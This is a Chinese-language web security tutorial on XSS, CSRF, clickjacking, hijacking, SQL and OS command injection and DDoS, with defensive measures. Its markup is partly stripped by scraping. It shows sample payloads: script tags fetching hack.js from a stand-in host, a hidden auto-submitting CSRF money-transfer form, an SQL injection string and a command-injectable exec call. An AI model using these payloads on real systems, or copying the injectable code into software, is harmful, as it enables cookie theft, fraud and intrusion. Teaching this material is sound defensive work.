Cross Site Scripting(跨站脚本攻击),因为缩写和 CSS 重叠,所以改叫 XSS。跨站脚本攻击是指通过存在安全漏洞的 Web 网址注册用户的浏览器内运行非本站点 HTML 或 JavaScript 进行的一种攻击
跨站脚本攻击可以造成以下影响:
利用虚假输入表单骗取用户个人信息
利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求
显示伪造的文章或图片
反射型:url 参数直接注入
URL 注入非法脚本,然后发送给受害用户
服务端返回的富文本中包含非法脚本,被直接展示
反射型 XSS 攻击步骤:
http://localhost:3000/?from=china
http://localhost:3000/?from=<script>alert(3)script>
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">script>
document.cookie="..."
存储型:存储到 DB 后读取时注入
发帖中发出包含恶意代码的内容,其它用户访问到该内容后,满足特定条件即触发
后台不过滤信息,并且前端展示时也不过滤信息
存储型 XSS 的攻击步骤:
<script>alert(1)script>
<script src="http://localhost:4000/hack.js">script>
DOM型:基于 DOM 或本地的 XSS 攻击
wifi 流量劫持、DNS 劫持,并且直接返回钓鱼页面
DOM 型 XSS 其实是一种特殊类型的反射型 XSS,通过 JS 操作 DOM 树 动态地 输出数据到页面,而不依赖于将数据提交给服务器端,它是基于 DOM 文档对象模型的一种漏洞
DOM 型 XSS 的攻击步骤:
<script>
document.write("');
Java 使用 lucy-xss-filter
Java 里,常用的转义库为 org.owasp.encoder
Spring Boot
Spring Boot 使用 Jsoup 拦截XSS
这是预防 XSS 攻击窃取用户 cookie 最有效的防御手段。Web 应用程序设置 cookie 时,将其属性设为 HttpOnly,就可以避免该网页的 cookie 被客户端恶意 JavaScript 窃取,保护用户 cookie 信息
# node
app.use(session({ httpOnly: true }, app))
# java
cookie.setHttpOnly(true)
# python
tools.sessions.httponly = True
# php
session.cookie_httponly = 1
在使用 innerHTML
、outerHTML
、document.write()
时要特别小心,不要把不可信的数据作为 HTML 插入页面上,而应尽量使用 .textContent
、setAttribute()
等
如果使用 Vue 或 React 技术栈,并不适用 v-html / dangerouslySetInnerHTML
功能,就在前端 render 阶段避免 innerHTML
、outerHTML
的 XSS 隐患
<script>
// setTimeout()/setInterval() 中调⽤恶意代码
setTimeout("UNTRUSTED")
setInterval("UNTRUSTED")
// location 调⽤恶意代码
location.href = 'UNTRUSTED'
// eval() 中调⽤恶意代码
eval("UNTRUSTED")
script>
对于不信任的输入,都应该限定一个合理的长度
CSRF(Cross Site Request Forgery),即跨站请求伪造,是一种常见 Web 攻击,它利用用户已登录的身份,在用户毫不知情的情况下,已用户的名义完成非法操作
CSRF 攻击流程:
a.com
,并保留了登录凭证(Cookie)b.com
b.com
向 a.com
发送了一个请求:a.com/act=xxx
浏览器会默认携带 a.com
的 Cookiea.com
接收到请求后,对请求进行验证,并确认是受害者的凭证,误认为是受害者自己发送的请求a.com
以受害者的名义执行了 act=xxx
a.com
执行了自己定义的操作
<img src="http://127.0.0.1:9000/transfer?to_user=jack&money=2000" width="500" height="300" />
<iframe style="display: none" name="csrf-frame" />
<form method="POST" action="http://127.0.0.1:9000/transfer" target="csrf-frame" id="csrf-form" >
<input type="hidden" name="to_user" value="hack01" />
<input type="hidden" name="money" value="2000" />
<input type="submit" value="submit" />
form>
<script>document.getElementById("csrf-form").submit()script>
CSRF 两个特点:
CSRF(通常)发生在第三方域名
阻止不明外域的访问(同源检测、Samesite Cookie)
CSRF 攻击者不能获取到 Cookie 等信息,只是使用
提交时要求附加本域才能获取的信息(CSRF Token、双重 Cookie 验证)
cookie 的应用场景:
防范手段:
验证码
同源检测 验证 Referer
HTTP 协议头中有一个字段叫 referer,记录了该 HTTP 请求的来源地址
Https 不发生 referer
app.use(async (ctx, next) => {
await next()
const referer = ctx.request.header.referer
console.log('Referer:', referer)
})
比如:转账的操作一定是用户登陆之后在本站点的页面上操作的,因此可以讲 Referer 字段限制为只允许本站点
Anti CSRF Token
所有用户请求都携带一个 CSRF 攻击者无法获取到的 Token。服务器通过校验请求是否携带正确 Token,来把正确请求和攻击的请求区分开
<meta name="csrf-token" content="..." />
确保 token 的保密性和随机性
cookie 双重验证
CSRF 成功的原因在于站点对于用户身份的辨别依赖于 Cookie,因此攻击者可以在不知道用户口令的情况下直接使用用户的 Cookie 来通过安全验证
Samesite Cookie 属性
Samesite=Strict
:严格模式,表明这个 Cookie 在任何情况下都不可能作为第三方 CookieSamesite=Lax
:宽松模式,比 Strict 放宽了点限制,假如这个请求是这个请求且是个 GET 请求,则这个 Cookie 可以作为第三方 Cookie注意:这个可以解决 某些 Cookie 滥用推荐的“SameSite“属性
问题
Cookies.set('lang', lang, {
sameSite: 'Strict'
})
点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过 iframe 嵌套的方式嵌入自己的网页中,并将 iframe 设置为透明,在页面透出一个按钮诱导用户点击
DNS 劫持:(输入京东被强制跳转到淘宝,这就属于 DNS 劫持)
DNS 强制解析:通过修改运营商的本地 DNS 记录,来引导用户流量到缓存服务器
302 跳转的方式:通过监控网络出口的流量,分析判断哪些内容是可以进行劫持处理的,再对劫持内存发起 302 跳转的回复,引导用户获取内容
HTTP 劫持:(访问谷歌但是一直有贪玩蓝月的广告)由于 http 明文传输,运营商会修改你的 http 响应内容(即加广告)
最有效的方法就是全站 HTTPS,即 HTTP 加密,这使得运营商无法获取明文,就无法劫持你的响应内容
X-FRAME-OPTIONS
X-FRAME-OPTIONS
是一个 HTTP 响应头,在现代浏览器有一个很好的支持。这个 HTTP 响应头就是为了防御用 iframe 嵌套的点击劫持
改响应头有三个值可选,分别是:
DENT
:页面不允许通过 iframe 的方式展示SAMEORIGIN
:页面可以在相同域名下通过 iframe 的方式展示ALLOW-FROM
:页面可以在指定来源的 iframe 中展示ctx.set('X-FRAME-OPTIONS', 'DENY')
SQL 注入发生于 应用程序与数据库层 的安全漏洞
# 填入特殊密码
1'or'1'='1
# 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'bird'
AND password = 1'or'1'='1
'、"、\、<、>、&、*、;
等),或编码转换。基本上所有的后端语言都有对字符串进行转义处理的 方法,比如 lodash 的 lodash._escapehtmlchar
router.post('/login', async (ctx) => {
const { username, password } = ctx.request.body
const sql = `
SELECT *
FROM test.user
WHERE username = ?
AND password = ?
`
res = await query(sql, [username, password])
}
});
OS 命令注入和 SQL 注入差不多,只不过 SQL 注入是针对数据库的,而 OS 命令注入是针对操作系统的
// 以 Node.js 为例,假如在接⼝中需要从 github 下载⽤户指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* ⽤户输⼊的参数 */};
exec(`git clone ${params.repo} /some/path`);
distributed denial of service,DDOS 不是一种攻击,而是一大类攻击的总称。其中,比较常见的一种攻击是 cc 攻击。它就是简单粗暴地送来大量正常的请求,超出服务器的最大承受量,导致宕机
SYN Flood
此攻击通过向目标发送具有可欺骗性源 IP 地址的大量 TCP “初始连接请求” SYN 数据包来利用 TCP 握手。目标机器响应每个连接请求,然后等待握手中的最后一步,这一步从未发生过,耗尽了进程中的目标资源
HTTP Flood
此攻击类似于同时在多个不同计算机上反复按 Web 浏览器中的刷新(大量 HTTP 请求泛滥服务器,导致拒绝服务)
防御手段